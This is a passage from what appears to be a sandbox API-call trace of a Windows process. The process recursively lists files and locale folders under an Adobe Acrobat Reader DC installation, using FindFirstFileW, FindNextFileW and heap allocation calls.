cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0248.932] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.934] GetProcessHeap () returned 0xc10000 [0248.934] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.934] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0248.934] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0248.934] GetProcessHeap () returned 0xc10000 [0248.934] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0248.934] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0248.934] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0248.934] GetProcessHeap () returned 0xc10000 [0248.934] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.936] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0248.936] GetProcessHeap () returned 0xc10000 [0248.936] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0248.939] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.939] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0248.939] GetProcessHeap () returned 0xc10000 [0248.939] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0248.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0249.060] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.060] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0249.060] GetProcessHeap () returned 0xc10000 [0249.060] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.062] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.062] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.062] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.062] GetProcessHeap () returned 0xc10000 [0249.062] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.062] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0249.063] GetProcessHeap () returned 0xc10000 [0249.063] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.064] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.064] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.064] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.064] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.065] GetProcessHeap () returned 0xc10000 [0249.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.065] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0249.065] GetProcessHeap () returned 0xc10000 [0249.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.066] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.066] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.066] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.066] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.067] GetProcessHeap () returned 0xc10000 [0249.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.067] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0249.067] GetProcessHeap () returned 0xc10000 [0249.067] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.068] GetProcessHeap () returned 0xc10000 [0249.068] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.069] GetProcessHeap () returned 0xc10000 [0249.069] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.070] GetProcessHeap () returned 0xc10000 [0249.070] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.070] GetProcessHeap () returned 0xc10000 [0249.070] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.072] GetProcessHeap () returned 0xc10000 [0249.072] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.072] GetProcessHeap () returned 0xc10000 [0249.072] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.073] GetProcessHeap () returned 0xc10000 [0249.073] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.073] GetProcessHeap () returned 0xc10000 [0249.073] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0249.075] GetProcessHeap () returned 0xc10000 [0249.075] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.075] GetProcessHeap () returned 0xc10000 [0249.075] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.076] GetProcessHeap () returned 0xc10000 [0249.076] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.076] GetProcessHeap () returned 0xc10000 [0249.076] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.077] GetProcessHeap () returned 0xc10000 [0249.077] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.077] GetProcessHeap () returned 0xc10000 [0249.078] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.079] GetProcessHeap () returned 0xc10000 [0249.079] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.079] GetProcessHeap () returned 0xc10000 [0249.079] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.081] GetProcessHeap () returned 0xc10000 [0249.081] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.081] GetProcessHeap () returned 0xc10000 [0249.081] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: 